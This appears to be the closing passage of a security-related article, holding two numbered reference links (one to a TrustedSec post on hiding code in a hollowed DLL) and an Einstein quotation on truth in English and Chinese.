    3. https://trustedsec.com/blog/burrowing-a-hollow-in-a-dll-to-hide
    4. https://www.codereversing.com/archives/652

    The right to search for truth implies also a duty; one must not conceal any part of what one has recognized to be true.
    尋求真理的權利亦暗示著一份責任; 我們絕不應該隱藏任何已認定為真實的部分。
    — Albert Einstein